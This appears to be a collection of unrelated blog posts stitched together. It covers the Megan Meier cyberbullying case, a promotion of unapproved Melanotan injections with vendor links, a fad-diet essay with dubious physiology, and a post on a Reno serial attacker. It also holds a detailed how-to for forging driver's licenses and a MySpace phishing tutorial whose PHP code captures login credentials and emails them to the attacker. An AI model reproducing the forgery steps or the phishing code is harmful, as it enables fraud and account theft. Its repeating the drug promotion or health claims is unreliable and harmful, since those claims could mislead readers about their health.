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It’s a picture-perfect all-American neighborhood, but on Waterford Crystal Drive, just outside St. Louis, a suburban enclave is in turmoil and shock after the suicide of 13-year-old Megan Meier.

It all began a year ago when Megan met a boy on the Internet.

Megan was insecure and slightly overweight and was thrilled to have a page on the social networking site MySpace, and to be contacted by “Josh Evans.” Tina Meier, Megan’s mom, described Josh as having blue eyes and brown, wavy hair and looking like a model. She asked Megan whether she knew him. In fact, Megan did not know Josh, who told her he was 16 and had just moved to town.

Ron Meier, Megan’s father, was slightly concerned. “Everybody that was on there we had to know, and this individual we did not know,” he said.

“The content that was on there was approved by us so there could not be any inappropriate content on there at all,” said Tina Meier.

The Meiers, fearful of the dangers to teens online, worried more about Megan. She had a history of depression and was prescribed medication. “Megan just always felt like she wasn’t wanted or accepted enough. And that was the hardest thing to try to get her to just be herself,” said Tina.

Recently, things seemed to be turning around for Megan. She had lost weight, switched to a smaller, private school and had made new friends. There had been a rift with another 13-year-old down the street, a close friend named Sarah, who felt Megan had deserted her, but Megan was happier than ever and excited about her new online relationship, her parents said.

Since the dawn of time, girls have been catty to each other.

Two girls will collaborate in the ostracizing of a third girl, calling her names behind her back, spreading rumors and playing little jokes on her with the goal of inflicting as much mental and emotional anguish as they possibly can.

While women never completely grow out of this, most do tend to lose interest in these kinds of activities as they age and mature.

Most women, except, of course, for Lori Drew, who is currently in the running for the title of “Most Hated Woman in America.”

For a while, Lori Drew (above left), who ran a successful local advertising mailer business called The Drew Ad Vantage, was a respected, popular member of her community. She has since gone downhill drastically.

She once lived in a really nice house.

She was once a member of the St. Peters Chamber of Commerce.

She’s married to Curt Drew, who was once employed as a Realtor at their local Coldwell Banker.

But now, Lori Drew’s business is fighting a sudden public relations downturn, she lost her business, her house, and her husband was fired from his position at Coldwell Banker and now works at the local Burlington Coat Factory.

During seventh grade, Lori Drew’s daughter, Sarah, was friends with Megan Taylor Meier, a 13-year-old girl who, like many 13-year-olds, struggled with her weight and had self-esteem issues. These issues Megan had were compounded by a diagnosed case of Attention-Deficit Disorder and a long battle with depression - a condition which she she had been seeing a therapist for since she was in the third grade, after talking about suicide.

Here’s Megan Meier’s MySpace account.

The Meiers and Drews were friendly enough that Megan had been on a vacation trip with the Drews, and the Meiers had been storing a foosball table for the Drews until Christmas.

Sarah Drew and Megan Meier started the eighth grade together, and their on-again off-again friendship became a little more chaotic, as 13-year-old friendships tend to be when two girls are involved.

For some reason or another, Sarah Drew and Megan Meier squabbled, probably over something stupid, and stopped being friends.

If you’ve ever known 13-year-old girls, or if you ever were a 13-year-old girl, you know what that’s like.

Well, Sarah Drew told her mother, Lori Drew, about how Megan was mean to her and how pissed off she was about it.

That’s when things started to get really stupid, because like many other helicopter parents, Lori Drew was unable to keep her nose out of what should have been her daughter’s business.

Lori Drew created a profile on MySpace with the name ‘Josh Evans’ and put a picture of a ‘really hot guy’ on the profile picture. 16-year-old ‘Josh Evans’ had just moved into the area from Florida, was being home-schooled, played the drums and the guitar, and didn’t have a phone number.

And, coincidently enough, he wanted to be friends with Megan Meier.

Megan was thrilled that ‘Josh Evans’ was interested in her enough to add her to his friends list. She showed her mother, Tina, the friend request and begged to be allowed to add the teen to her friends list. Tina, after looking the boy’s profile over, let her daughter add him as a friend.

For six weeks, Megan chatted with ‘Josh’ about things 13-year-old girls usually talk about: school, parents and sex.

Lori Drew, using the experience that comes with advanced age, did her best to get Megan Meier to confess secret desires, crushes and other vulnerabilities to her online ‘boyfriend.’ Shortly after starting this relationship, Lori Drew started letting other people into the “joke.” An employee of Drew Ad Vantage named Ashley was recruited to help keep the joke going. Another girl in the neighborhood also had the login details to the Josh Evans account.

Then one day, on the 15th of October, 2006, six weeks after stringing along Megan Meier, ‘Josh Evans’ started getting mean.

I don’t know if I want to be friends with you anymore because I’ve heard that you are not very nice to your friends.

Megan Meier responded with a frantic e-mail that basically said, “I don’t know what you’re talking about!”

The next day, after handing out invitations to her birthday party to friends at school, Megan came home and asked her mother to log into Megan’s MySpace account for her so she could see if Josh Evans had replied to her e-mail. She was hoping that the boy would show up to her party, which was in three weeks. After all, it would be nice if she and her parents could finally meet the boy who had captured her heart - as long as she could find out who had been talking to him and telling him that she wasn’t nice to her friends.

But Josh Evans wasn’t being nice.

Josh’s account had, in fact, forwarded her correspondence with him to a number of other online friends. All those secrets, all those confessions - now everyone Megan Meier knew at school could read them.

And read them they did, with many of them responding as younger teenagers are wont to do - with mockery and name-calling.

Megan’s mother had a dental appointment and was pressed for time, so Megan’s mom told Megan to sign off as she walked out the door.

Megan didn’t sign off. She responded to the online cruelty with name calling and threats of her own. When her mother called her, after she had arrived at the dentist, Megan was still online, crying and telling her mother that everyone was being so mean to her. Megan’s mother again told her daughter to log off.

Shortly after that, a sobbing Megan called her mother and told her that people online were posting bulletins about her, saying things like, “Megan is fat” and “Megan is a slut.” Again, Megan was told to log off by her now-furious mother.

After her dentist appointment was over, Megan’s mom returned home, went to the room where the computer was located and reviewed the messages her daughter had seen and was sending. Seeing how out-of-control things were on her daughter’s MySpace account, Megan’s mom expressed her disappointment in her daughter’s behavior, logged out the account and ended Megan’s MySpace activities for the night.

Megan’s mom didn’t catch the last message in Megan’s inbox, however. That message was from Josh Evans and said:

Everybody in O’Fallon knows how you are. You are a bad person and everybody hates you. Have a shitty rest of your life. The world would be a better place without you.

Megan ran to her room and stayed there, quietly, while her parents cooked dinner downstairs.

Her parents, sensing something was wrong, ran upstairs and found their daughter, who had hung herself with a belt in her closet.

Emergency services was called and an ambulance arrived empty and left with the 13-year-old in the back.

As the ambulance was in front of the Meier’s house, Lori Drew called the 13-year-old who had been brought in on the joke and told her to keep her mouth shut about what they had done.

The Josh Evans account was deleted.

Megan Meier was dead the next day.

Lori Drew went with her family went to Megan’s funeral and mouthed the right words of remorse, all while knowing that what she had done had driven Megan, a girl the Drews knew was on anti-depression medication, to kill herself.

A few weeks after Megan’s suicide, the thirteen-year-old that Lori had recruited into the “joke” felt a wee bit guilty about her part in it and talked to the Meiers about it, explaining what had been done to their daughter by someone they thought was a family friend.

The Meiers, responding with incredible restraint, only went so far as to smash to pieces and drop off on the Drew driveway the foosball table that they had been asked to store in their house until Christmas.

“Merry Christmas” was spray-painted onto the box.

The Drew’s response? Call the police and file a report.

Here’s a partial transcript of that report:

In reference to their daughter’s suicide, Drew explained she wanted to “just tell them” what she did to contribute to the Meier’s daughter’s suicide. She instigated and monitored a “myspace” account which was created for the sole purpose of communicating with Meier’s daughter. Drew said she, with the help of temporary employee named “Ashley”, constructed a profile of “good looking” male on “my space” in order to “find out what Megan (Meier’s daughter) was saying on-line” about her daughter. Drew explained the communication between the fake male profile was aimed at gaining Megan’s confidence and finding out what Megan felt about her daughter and other people. Drew stated she, her daughter, and Ashley all typed, read, and monitored the communication between the fake male profile and Megan. Drew went on to say, the communication became “sexual for a thirteen year old.” Drew stated she continued the fake male profile despite this development.

According to Drew “somehow” other “myspace” users were able to access the fake male profile and Megan found out she had been duped. Drew stated she knew “arguments” had broken out between Megan and others on “myspace”. Drew felt this incident contributed to Megan’s suicide, but she did not feel “as guilty” because at the funeral because she found out “Megan had tried to commit suicide before.”

Drew explained the neighborhood had recently found out her involvement in Megan’s suicide and her neighborhood has become hostile toward her and her family. Despite the recency of the suicide and several neighbors recommending she not confront the Meier family (especially on Thanksgiving), Meier stated she and her husband attempted to contact the Meier family three times, “banging on the door” although Mr Meier had already told them to leave.

Good stuff there. You have to love the fact that Lori Drew told the officers that she didn’t feel guilty because Megan had tried to commit suicide before.

A Senate committee heard testimony Monday night on the bill, sponsored by Sen. Scott Rupp, a Republican, that is modeled after recommendations from a special gubernatorial task force created to study Internet harassment.

The proposed law would punish someone 21 or older who harassed someone 17 years old or younger with up to four years in prison.

It also would require school officials to tell police about harassment and stalking on school grounds. And it updates state laws against harassment to include computers, text messages and other electronic devices, not just telephone or written communications.

People got really excited back in 1991 when it was first revealed that the University of Arizona had developed an effective tanning drug. A new type of peptide compound named, Melanotan, had been developed and had been found to be an effective sunless tanning solution.

It has been nicknamed the “Barbie Doll drug” because it produces a flawlessly perfect tan evenly across the entire body like you would find on a Barbie doll.

Melanotan is a synthetic hormone that mimics the action of MSH, or melanocyte-stimulating hormone which is responsible for darkening the pigments of the skin. Typically when your skin is exposed to UltaViolet radiation (the sun or tanning beds) your skin will release melanocytes as a natural defense to protect your skin from absorbing an excess amount of solar radiation. This natural defense to UV light is what leads to tanning or a darkening of your skin. Melanotan is a peptide which similuates this melanocyte response chemically in the absense of the sun. Therefore it is safe, because your skin pigment is responding to the simulated hormone rather than from actual UV damage to the skin.

Skin cancer researchers there knew that one of the best defenses against skin cancer was a natural tan which has been slowly developed over weeks. They hypothesized that an effective way to reduce skin cancer rates in people would be to induce the body’s natural tanning system to produce a protective tan prior to UV exposure.

They knew the body’s naturally occurring hormone alpha-melanocyte stimulating hormone (á-MSH) caused melanogenesis, a process by which the skin’s tanning cells (melanocytes) produce the skin’s tanning pigment (melanin). With that knowledge they tested to see if administering this hormone to the body directly could be an effective method to cause sunless tanning. What they found was that while it appeared to work, natural alpha-MSH had too short a half life in the body to be practical as a therapeutic drug. So they decided to try and find a more potent and stable alternative, one that would be more practical.

After synthesizing and screening hundreds of molecules, the researchers headed by Dr. Victor Hruby, found a peptide that after trials and testing seemed to not only be safe but also approximately 1,000 times more potent than natural á-MSH. They dubbed this new peptide Melanotan.

Since their discovery, numerous studies dating back to the mid-1980s have shown no obvious toxic effects of Melanotan. Because skin cancer (melanoma) today is a major health concern, Melanotan is expected to be used as a drug to combat it. Melanotan will do this by stimulating the body’s natural tanning mechanism to create a tan without first needing exposure to harmful levels of UV radiation. This in turn will reduce the potential for skin damage that can eventually lead to skin cancer.

This peptide has been going through extensive testing and research over the past ten years, however it is still not yet approved for use by the FDA. Not only can Melanotan be used for sunless tanning it may also be an effective preventative treatment for people at risk for skin cancer. So far, it is effective only when administered by subcutaneous injection, not orally. Since Melanotan must be administered with insulin needles, it will never be FDA approved for over-the-counter use until an effective oral form is developed.

In 1998 the University of Arizona improved the peptide even further and developed Melanotan II which was an even more effective sunless tanning agent. Both Melanotan I and II are synthetic hormones of melanocyte stimulating hormone that is responsible for darkening the pigment of your skin when exposed to sunlight. Melanotan I is a linear, full length peptide [containing all 13 amino acids]. Melanotan II is a shortened, circular version of the same peptide.

However while testing the new peptide Melanotan II they found that it had an unexpected side effect: it caused spontaneous erections in men. The American Association of Urologists tested this peptide extensive and found that it did not change the bloodflow or selectively expand or restrict capilaries in the same manner that Viagra or Cialis treats erectile dysfunction. It works by sending a signal to the brain which causes the body to naturally secrete the hormone which causes an enhanced erection. They did further testing and found that this same responside with women it increased sexual desire and genital arousal. Evaluation is currently being done with this peptide in hopes of developing a new type of erectile dysfunction drug, however the Arizona Cancer Center suspended all development of Melanotan II as a tanning agent.

The Arizona Cancer Center is working with Melanotan not only as a drug with cosmetic applications but in order to reduce the risk of skin cancer. They feel that if fair skinned people take Melanotan it will offer them the protective benefit of a tan without the harm of sun exposure. In essence, it could protect people by providing them with a slight sunless tan that would make them less prone to burn with their day-to-day exposure to the sun.

The Arizona Cancer Center’s research has found Melanotan I to be effective in promoting skin pigmentation with little or no risk, however it’s role in actually preventing skin cancer has not yet been determined. They also found that Melanotan will not do anything for people with albinism or vitiligo because these patients do not have skin cells with receptors for melanin. For this reason, the synthetic hormone has no mechanism for action and therefore cannot cause change in pigment.

Researchers at the University of Arizona are no longer conducting research with Melanotan I, although research continues for Melanotan II.

A private U.S. company, Competitive Technologies, announced in March of last year that they would be developing Melanotan I and II for commercial use.

A company in Australia, EpiTan, is raising funds to start production and trials for Melanotan I as a tanning agent to prevent skin cancer. Unfortunately, rumor has it that the Australian equivalent of the FDA will not be accepting the research already done in the U.S., which will greatly delay approval in Australia, as all the tests will have to be repeated.

Recently, EpiTan announced it is working on a time release injection version of Melanotan, moving away from an oral formula. These injections would need to be administered every 30 days, instead of daily. They are using the same time release injection hormone technology developed for the birth control drug, Depo Provera.

Even with all this development on the Melanotan I and II peptides, there still remains many unanswered questions. For example, how effective are these peptides for readheads or people prone to freckles? It may be quite a few years before these peptides are FDA approved and once they are approved you will need to go to a cosmetic surgeon’s office to get them administered. However, you don’t have to wait. They currently have research grade Melanotan I and II available for all those research chemists out there (anyone) to test out on their lab-rats (themselves).

So you can order “research grade” kits of Melanotan I and II online right now for around $100 and try out this peptide. I know a few people who have tried this peptide and they were very pleased with the results. However, you have to use this at your own risk because these kits are not FDA approved and not intended for human consumption.

Purchase research grade Melanotan here:

AG-Guys.com - 10 mg vial ($100.00)
Pure-Peptides.com - 10 mg vial ($100.00), 30 mg vial ($270.00), 50 mg vial ($400.00)

Below is a video segment describing Melanotan and how it is a highly safe and effective sunless tanning solution:

* Special thanks to Billy Warhol for inspiring me on doing research to find the perfect safe sunless tanning solution available.

Both the media and supplement companies have recently been hyping up and spending millions of dollars on promoting dieting and weightloss. Americans are fixated with having the perfect body.

Cosmetic surgery is the latest fad and plastic surgery shows like Dr. 90210 and Nip Tuck are now some of the hottest shows on television. However even with all this pressure to have the perfect body Americans are still having an increasingly difficult time keeping the weight off. But why?

FAD DIETS

Most Americans have taken part in some sort of fad diet with the hopes of shedding those unwanted pounds of fat in the quickest amount of time. A fad diet is basically a weight loss program that promises breathtaking results. The most famous fad diet is the Atkins Diet.

Despite what you may hear about these fad diets, the truth of the matter is that these diets are not very healthy for your body, and they do not provide the dieter with long-term success.

However one of the main reasons these fad diets are so popular are because some of them actually do work, but its only for a short time. How can these crazy fad diets work for the short-term, but fail in providing the dieter with long-term success?

Easy. When most dieters begin implementing these “rules” that many fad diets have (such as food separation techniques, eliminating an important macro-nutrients such as carbohydrates), or sticking solely to a liquid-based diet regimen, these dieters are ultimately eating fewer calories than they normally would. The dieter also gives up his or her favorite foods and begins to become more aware of the foods they eat which usually means a reduction in overall calories - leading to quick weightloss. However within time their body adjusts to this new diet and they may gain this weight back.

ADKINS

The Atkins diet works but only for a little while. By eating only meat your body is depleted of glucose. Glucose is the body’s main source of energy. So when the body can’t use glucose for energy, it uses fat instead. Sounds great right? However when fat is broken down due to a lack of glucose and excess of ketones appear in the body. This causes ketosis which increases the amount of Beta receptors in your fat tissue. These Beta Receptors make the fat harder to burn and encourage your body to save more fat for energy. In turn your body ends up burning muscle for energy which lowers your overall metabolism and the amount of calories your body burns on a given day. This leads to a crash in energy, lethargy, depression, and weight gain. This is a vicious cycle that occurs with the Atkins diet and usually leads to the dieter quitting the diet after they gain all the weight they initially lost back. It is not worth it! The Atkins diet is crap!

This diet also was NOT invented by Dr. Adkins, it was invented in London by Dr. William Harvey in 1862 long before Dr. Atkins was even born. Dr. Atkins was just the first to market and profit off this diet. Dr. Harvey actually knew at the time that this diet would only lead to short-term success and even noted this in his research. Dr. Atkins was well aware of this but saw an opportunity to make a good profit.

This diet was also found to be unhealthy long term. Eating only meat leads to high cholesterol and a greater occurence of heart attacks, strokes, and even cancer.

OTHER CRASH DIETS

There are other fad diets out there that say that you need to eat zero fat to lose weight. Well eating fat is essential for fat loss, so this whole diet concept is wrong as well. By eating no faty your body is left out of the EFA (Essential Fatty Acids) that are essential for fatloss. Again the dieter gets frustrated because there is no fat loss and soon returns to the old, unhealthy lifestyle of consuming tons of unhealthy and artery clogging fats.

Diets that tell the dieter to consume no meat are bogus too. Protein is the building block of tissue in your body. Without it, you cannot build or maintain muscle, which will cause a metabolism drop, and futile results. By not eating protein, you are starving yourself from amino acids that are needed and your body will be unhealthy. You will loose muscle and look flabby, and that will frustrate you.

Try to avoid all Fad Diets. Foods are made for us to eat and we need a balanced diet to survive, and complete our fitness goals. By trusting the next fad diet you are giving yourself a false hope and soon you will crash down.

Failure is the most common thing I see when I talk to people on the diet. As soon as they start they loose a lot of weight which is mostly water and muscle. After a few weeks the body is fighting back and they feel and look unhealthy. Fad diets are a part of the confusion that is on our nation. And with this confusion, we will stay fat.

SEDENTARTY LIFESTYLES

Let’s face it, it’s much easier to eat delivered pizza while watching comedy central than to go to the gym and get on a treadmill and run. I have seen some people who don’t even want to get up off the couch to get soda despite the fact they are thirsting like they just ran a mile in the Sahara.

Just think of pizza, pizza is one of everyone’s favorite foods and not only is it loaded with sugars and trans fats but it’s also delivered so that makes it even easier to be lazy. Most people would rather pay an extra five dollars for a tip than put their shoes on and make that long drive 1/2 a mile around the corner to pick up the pizza themselves.

Many people really think they are too busy for things such as working out.

It only takes 30-45 minutes to exercise. Whether that form of exercise is a light stroll in the neighborhood, a jog in the park, a run on the treadmill, or a weight-training session at the gym, it simply does not matter as long as you do something.

Exercise and a sound nutrition program are vital to achieving your dream physique. Now put down that TV remote, and get moving!

FAST FOOD

You are what you eat. We have all heard this phrase millions of times, but somehow, Americans faced with weight issues do not acknowledge this little phrase. If Americans only knew just how fast food was prepared, and just how many calories and fat it contains, they would be totally surprised.

A burger and fries from your favorite fast food joint will cost you between 600-950 calories! What about those awful trans fats? First, let’s define what a trans fat is. It is an unsaturated fatty acid molecule that contains a trans double bond between carb atoms.

Fast food is loaded with trans fat! Diets that contain high amounts of trans fat have been linked to coronary heart disease and even atherosclerosis. Trans fat is not only found in those favorite fried foods at the local fast food joint, but also in baked goods, fried goods, snack foods, and other foods which have been processed.

Why do many Americans eat fast food and food items with trans fat? Simple. Americans live busy lives, and will chow down on fast food and conveniently packaged goods just because of the fact that these food choices are quick and easy.

A much better option instead of gorging on these unhealthy food choices would be to simply prepare your own meals. This way you would know exactly what you are eating.

POOR EATING HABITS

One of the most obvious examples of these poor eating habits is the collapse of structured mealtimes and snacks. Why is this so common? Americans live busy lives. In many homes, families don’t even share dinner together at the table, and snacking is common without any limits.

You also have those people who skip breakfast for whatever reason.

Many people operate in either one extreme or the other - either they are following a program perfectly, or they are simply going wild with their poor eating habits.

They pile down the calories at lunch to compensate for not eating breakfast. Guess what? The more food the body has to digest at one time, the more food it stores as fat. There is only so much the body can digest and process in one sitting. Eating much smaller meals more periodically throughout the course of the day increases the body’s thermal effect, which ultimately results in an increase in metabolism!

Another poor eating habit among Americans is eating too fast. Those who eat fast tend to consume more food because they do not give their brain an opportunity to signal to the body that it is satisfied. Chewing often and more slowly can easily avoid this poor habit.

Another big problem is some Americans looking to get rid of extra weight try too hard to constantly eat a healthy diet. They simply try too hard. Eating healthy is great, don’t get me wrong, but eating too healthy can be a bad habit for those looking to shed a few pounds. Don’t try too hard, and follow a nutrition regimen that you’re comfortable with and can easily adjust their lifestyle to fit.

ACCEPTANCE

Many people just accept the extra weight and tell themselves that they are just like the rest of the people in the United States and that being over weight is alright. Being unhealthy and obese is not cool, sexy or admirable and even if you can never look exactly like a fitness model that is no excuse to not try to get into shape.

People always revert to the saying “It’s what’s inside that counts” well guess what, the things that are going on inside most Americans like high cholesterol and high blood pressure are not good.

Some people may have pair shapes and think it isn’t worth working out because you can’t change the bone structure you were given which you may hate so why bother. There are certain body parts you can workout to accentuate the good parts about your body and narrow the parts you may not like.

If you have a pair shape then work harder on your shoulders it’s certainly better then accepting the things you don’t like about your body. Listen to yourself when it comes to what your life should be like.

No one is holding a gun to your head telling you where to live and where to work. The boundaries that are the highest are the ones you make for yourself.

In Conclusion

As a whole Americans are noticably more obese now than they were 20 years ago. It is widely known that obesity in America is a growing problem. This situation has opened the doors for marketing companies to profit off of fad diets, worthless supplements, and misleading books and articles on how to “easily” lose weight fast and keep it off. These marketing campaigns create the biggest obstacle in resolving this issue: misinformation.

Police are desprately looking for a serial rapist and killer who is striking in the Reno, Nevada area around the University of Nevada-Reno campus.

Around a month ago 19-year-old college student, Brianna Denison, went missing on Sunday morning from a couch that she was sleeping on at a friends house. There was a small blood stain on the pillow she was using and her shoes, cell phone, and purse were left behind. Which means that she would have had to leave the house barefoot with nothing more than her sweatpants and sweatshirt.

There were no signs of forced entry and no other signs of a struggle in the home. Cops say that the glass-paned front door of the residence was unlocked and other residents say that the door — just a couple feet away from where Brianna was sleeping — may have been left slightly open. Authorities say that the suspect must have been quick and quiet as to not awake Hunter’s pet black-and-white Chihuahua, Chi-Chi, who was sleeping in the adjacent room with her two friends, KT Hunter and Jessica Deal.

Police immediately suspected foul play and the blood stains on the pillow made it appear that she was struck in the head with an object or suffocated in her sleep to subdue her. They also ran the DNA evidence found on Brianna’s pillow and found that it matched the DNA gathered after a November 13th groping attack on a UNR student and a December 16th kidnapping and rape of another UNR student which took place only a few blocks away from the home where Brianna was last seen.

In the November 13th incident, a 21-year-old UNR student was walking through an apartment parking lot at 401 College Drive, when an unknown male assailant approached her from behind and put her in a chokehold. The suspect dragged the victim between cars, pushed her to the ground and groped her. As she fought and yelled, he told her not to scream. The victim continued to scream and fought her attacker. Even though the assailant warned the victim to stop screaming, the assault stopped after the suspect kicked the victim in the head and arm and ran away.

In the December 16th incident, the assailant told the victim, a foreign student from Taiwan, that, “If you tell the police, I will kill you.” Authorities say the 22-year-old was abducted outside her home when an unknown assailant grabbed her after she parked her car on the 1400 block of Terrace Drive.

According to police, the assailant grabbed the female from behind, forced her to the ground and attempted to choke her with her right arm. He then placed his right hand over her nose and mouth which caused her to pass out. When she began to regain consciousness, the suspect forced her into the front passenger seat. The suspect slowly drove to a campus garage 3 to 4 minutes away where he forced her to perform sexual acts. After the attack, he drove her back to her residence where he dumped her off and threatened “he might be back.”

Police believe that the December attack is linked to an attempted burglary at the same residence on Jan. 19, 2008, the day before Brianna Denison went missing. Authorities say that in the January incident, someone attempted to enter the victim’s home by breaking off a door knob at the rear of the residence.

This suspect seems rather brazen to attempt so many sexual assaults within a confined area of less than a mile radius and over a short period of time of around 90 days.  Look at the map above.  The November 13th attack and the January 20th abduction of Brianna Denison happened about 80 feet apart!  The other 2 attacks happened between 1500 and 2000 feet from these attacks. We are talking no more than a 3-4 block radius between these four attacks!

It seems to be someone from the area if they are able to pull off such calculated attacks within such a close proximity. They must have been staking the area out and planning these attacks which leads me to believe that it is one of the students or campus staff who live and work in the area and would be around these students on a daily basis. However I am surprised that the surviving two victims have not run into this person and identified him so perhaps it is someone who lives close by but not on campus, maybe in the casino district. But these two surviving victims did not get a close look at their attackers face. It totally seems like this person could easily become the next Ted Bundy.

Brianna was not heard from in nearly a month until a body was found in a brush-covered field on Friday and identified as this missing girl. The initial autopsy indicated that she had died of strangulation and her body had been in the field for more than a week about 8 miles from the house where she went missing.

Based on partial descriptions, police describe the suspect as a white male between the ages of 28 and 40 and at least 5 foot 6 inches tall, with a long face and brown hair, and physically strong, but not muscular. Neither of the previous victims saw the attacker’s face. His vehicle is described as an extended cab pick-up truck or SUV with a dome above the windshield and an automatic transmission. The vehicle is tall enough that it requires a step to gain entry. The victim also noticed a floor-mounted console that opened in the front, that the radio had a blue and red LED read out, and that the seats were cloth. She also claimed that there was a baby shoe on the front seat floor board.  They believe that this video photo below shows a picture of the suspects SUV.

On Thursday a fourth woman came forward and for the first time reported that she had been attacked and raped at gunpoint in a UNR parking garage within 100 yards of a campus police station.  Based on her description of the attacker they were able to generate the composite sketch above.  They have not linked this fourth attack with DNA to the other three attacks, however they strongly believe that it was done by the same person.

Many people complain that most of the fake id sites online are scams and they simply exist to steal people’s money with no intention of ever sending them an actual id card. So there is one simple solution to this problem: making your own fake id cards.

FarEastID.com, i-d-e-n-t-i-t-y.org, eNoveltyID.com, and TheIDShop.com are some of the companies that people have complained about. I have spoke to people who have claimed to have received decent ids from these companies, but recently more people have been coming forward saying that they have been ripped off.

However, after my first post on different fake id sites I was emailed by a guy from NewIDCards.com that assures me that his company is legit, has a toll-free number, customer service, and accepts credit card orders online. I don’t know if his business is legit, but it really seems this way. He is in the process of sending me a sample id to prove the quality of his id cards.

I made my own Fake IDs in college and after making a few good ones for myself I found that everyone wanted one. It’s the type of thing that grows exponentially if you make one good fake id for a friend he or she will show it to all their friends and they will want to buy ids from you and it will go from there.

I thought about getting back into this, however the federal government has the tendancy to come down hard on people who sell ids that can be mistaken for state or federally issued documents. I wouldn’t set up this type of operation unless I lived offshore where the United States goverment couldn’t easily come after me.

People tend to use fake ids for both identity theft and for underaged individuals to be able to purchase alcohol.

Types of Identification

I would suggest making a State ID or Operator’s license from a state outside of the one that you live in. Most bars, clubs, and liquor stores only accept driver’s licenses or state id cards that are issued by one of the 50 states. Its a good idea to pick a state outside your own, because they would be less familiar with the security features and it would be more difficult for them to spot a fake if it is not the type of id that they are used to seeing.

Evolution of Id Cards

Years ago state id and driver’s licenses were printed on security paper and then laminated, sometimes using holograms. Since then advances in printing and imaging technologies have caused them to put new measures in place to prevent forgery.

Today almost all driver’s licenses are now made of Polyvinyl Chloride (PVC) similar to the material that credit cards are printed on. These new PVC cards can only be printed on using very expensive printers like Fargo or Electron. In order to make a decent PVC ID card you either need to purchase one of these printers for 5-10 thousand or use a new type of material called Teslin which is similar to this PVC material, but can be printed on with either a standard InkJet or a Color Laser printer.

Building a template for a Fake ID

The first step in building a fake id is to make the template for the id. One way of doing this would be to scan a real version of this ID card and then take an imaging program like Coral Draw or Photoshop and meticulously edit the ID until it appears perfect. This method would work, but its very time consuming and once done it will be difficult to alter this template to work for different people.

I would recommend using one of the free ID creation programs out there which are designed to allow businesses to make their own id cards. These programs would allow you to copy a driver’s license or state id and have the ability easily change the information which appears on the card and the photo for each person that you want to make an id. Once the template is complete you can easily swap out the information on the card and change the photo to print the next id card.

Espresso ID is an id program with tons of features that would allow you to build your own card design, add and change id photos, add barcodes and magnetic strip encoding. This program costs $99, however there is a free 30 day trial.

Alpha Card offers an ID software solution with all the latest security features such as barcoding, magnetic strip encoding, holograms, and many other types of new security features. They also offer a free trial.

Printing Materials

You will need to select the right type of material to print on depending on the type of id that you are making. If it is a laminated photo id then photo paper will work the best, however if it is a PVC ID card then you will need a product called Teslin.

This material is fairly new and is an excellent, cost effective way to forge PVC ID’s. This material can be printed by laser or inkjet printers. There is a difference between inkjet and laser Teslin. Obviously the laser Teslin is for laser printer and same with the inkjet. Printing on Teslin with an inkjet does not work well so inkjet Teslin is for this. The inkjet is coated with chemicals to absorb the ink effectively. Once printed on and laminated, Teslin becomes almost exactly like PVC.

More information on Teslin can be found at either www.teslin.com or purchased at
www.idsupply.com.

I have also found that there are many vendors on ebay.com selling teslin and other fake id making equipment as well.

Magnetic Strip Encoding For the magnetic strip encoding to work on the id cards you will need either a PVC card stock with a magnetic strip on a laminating pouch with a magnetic strip and a magnetic strip encoder.

You can purchase both card stock with magnetic strips or laminating sheets with magnetic strips as well as the magnetic strip encoder either from www.idsupply.com or off of ebay.

Once you have the proper equipment you will need to read the magnetic encoding off of a real version of the id card that you are copying and determine the algorithm they are using. You can use one of the id programs mentioned above to parse out the encoding and write the appropriate encoding on the magnetic strips for your ids.

Holograms and Lamination

After you have the id template in place, have printed your id card onto the card stock, and have your magnetic strip encoded. You will need to add the hologram to your card.

There are several companies that make custom holograms. Nova Vision, ID Hologram, and some vendors on ebay sell holographic overlays that can be inserted on top of your printed card stock below the lamenating plastic.

After putting the holographic overlay in place you will want to take one of the laminating pouches preferably with 10 mil thickness and laminate the card. I would buy the higher quality laminating pouches either from www.idsupply.com or off of ebay.com.

I would also suggest purchasing a high quality id card laminator like the one above from the same place.

Conclusion

Once you have your template nailed down, your id printed on the card stock, your magnetic strip encoded, your holographic overlay in place, and your card laminated you should be good to go.

It make take a while to get your cards to come out properly. Making good fake id cards is partially having the right equipment, but also part skill. It will take some experience and perhaps a few mistakes to get it down right. However, once you have it nailed it will be extremely profitable. One guy sold his fake ids for around $100 each, it cost him around $8 in materials, so $92 was profit and to pay back what he had invested in his equipment. The demand was so high that he made around 20 ids a day which brought in around $2,000 daily. It can be very profitable.

There are many security vulnerabilites and loopholes in the MySpace social network that can easily be exploited. The whole entire architecture was built using Cold Fusion. MySpace was a great concept, however when it was originally being built no one, not even Tom knew that MySpace would get nearly as big as it did. What was meant to be a simple free site where people could create profiles for fun turned into a massive empire. It quickly grew to over 200 million users and just as much money in annual advertising revenue. Spammers, affiliate marketers, and cpc advertisers saw MySpace as a gold mine. They could inject their ads into the myspace architecture and easily reach millions of people for free. This simple site turned many hackers/spammers into millionaires over night.

MySpace saw these viral marketers as being parasites who were out to exploit their social network and profit off of it however they could. So they started increasing their security to prevent spam and viral marketing inside their network. However, it was fairly easy for these hackers/spammers to change their methods to stay one step ahead of the new security features.

One security vulnerability in particular has proven to be very difficult to block. This loop hole has compromised all of the social networking sites, online banking, ebay, paypal, and even credit card and investment websites. This trick is known as phishing and it can take many forms such as fake webpages, fake emails, or fake popup windows all which ask the user to provide secure information under the assumption that the email or website is from the actual site that they are trying to access.

The Process

The first thing that you need to do is go to the main www.MySpace.com page where people typically log into their MySpace accounts.

When you get to this login page do a view source and open up the raw html source in notepad.

Select “Edit” from the topnav of notepad and select the “Find” option.  Do a find for <form.  In this “<form” tag replace the action attribute to “submit.php”.

So you will be replaceing:

<form action=”http://secure.myspace.com/index.cfm?fuseaction=login.process” method=”post” id=”LoginForm” name=”aspnetForm”>

With the following:

<form action=”submit.php” method=”post” id=”LoginForm” name=”aspnetForm”>

Once you have made this simple change in notepad save the document to your desktop and name it “MySpace.html” or using a similar file name of your choosing.  You will use this page as a fake MySpace login page.

Now you will have to build the file, submit.php, to receive the login information from the fake login page in notepad with the following code:

<html><body>
<?php

// Capture the Email Address and Password from the login page.

$email = $_POST[’ctl00$Main$SplashDisplay$ctl00$Email_Textbox’];
$password = $_POST[’ctl00$Main$SplashDisplay$ctl00$Password_Textbox’];

// Email the captured Email Address and Password to your email address.
// Replace the value in the “$to” field with your actual email address.

$to = “youremail@yourdomain.com”;
$subject = “My Space Login Info”;
$body = “Email: “. $email . ” Password: ” . $password . “.<br />”;;
if (mail($to, $subject, $body)) {
//echo(”<p>Message successfully sent!</p>”);
} else {
//echo(”<p>Message delivery failed…</p>”);
}

// Redirect to the real MySpace login page.
?>
